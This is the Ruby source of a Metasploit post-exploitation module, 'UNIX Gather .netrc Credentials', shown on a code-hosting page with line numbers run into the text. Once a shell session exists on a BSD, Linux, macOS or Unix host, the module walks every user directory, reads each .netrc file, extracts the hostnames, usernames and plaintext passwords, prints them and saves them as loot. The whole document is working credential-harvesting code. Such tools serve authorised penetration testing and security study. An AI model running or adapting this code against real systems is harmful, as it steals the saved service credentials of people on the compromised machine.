Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/netrc_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather .netrc Credentials',14'Description' => %q{15Post Module to obtain credentials saved for FTP and other services in .netrc16},17'License' => MSF_LICENSE,18'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],19'Platform' => %w[bsd linux osx unix],20'SessionTypes' => [ 'shell' ]21)22)23end2425def run26# A table to store the found credentials.27cred_table = Rex::Text::Table.new(28'Header' => '.netrc credentials',29'Indent' => 1,30'Columns' =>31[32'Username',33'Password',34'Server',35]36)3738# all of the credentials we've found from .netrc39creds = []4041# walk through each user directory42print_status('Enumerating .netrc files')43enum_user_directories.each do |user_dir|44netrc_file = user_dir + '/.netrc'45# the current credential from .netrc we are parsing46cred = {}4748# read their .netrc49unless readable? netrc_file50vprint_error("Couldn't read #{netrc_file}")51next52end53print_status("Reading: #{netrc_file}")54read_file(netrc_file).each_line do |netrc_line|55# parse it56netrc_line.strip!57# get the machine name58if (netrc_line =~ /machine (\S+)/)59# if we've already found a machine, save this cred and start over60if (cred[:host])61creds << cred62cred = {}63end64cred[:host] = ::Regexp.last_match(1)65end66# get the user name67if (netrc_line =~ /login (\S+)/)68cred[:user] = ::Regexp.last_match(1)69end70# get the password71if (netrc_line =~ /password (\S+)/)72cred[:pass] = ::Regexp.last_match(1)73end74end7576# save whatever remains of this last cred if it is worth saving77creds << cred if (cred[:host] && cred[:user] && cred[:pass])78end7980# print out everything we've found81creds.each do |cred|82cred_table << [ cred[:user], cred[:pass], cred[:host] ]83end8485if cred_table.rows.empty?86print_status('No creds collected')87else88print_line("\n" + cred_table.to_s)8990# store all found credentials91p = store_loot(92'netrc.creds',93'text/csv',94session,95cred_table.to_csv,96'netrc_credentials.txt',97'.netrc credentials'98)99100print_status("Credentials stored in: #{p}")101end102end103end104105106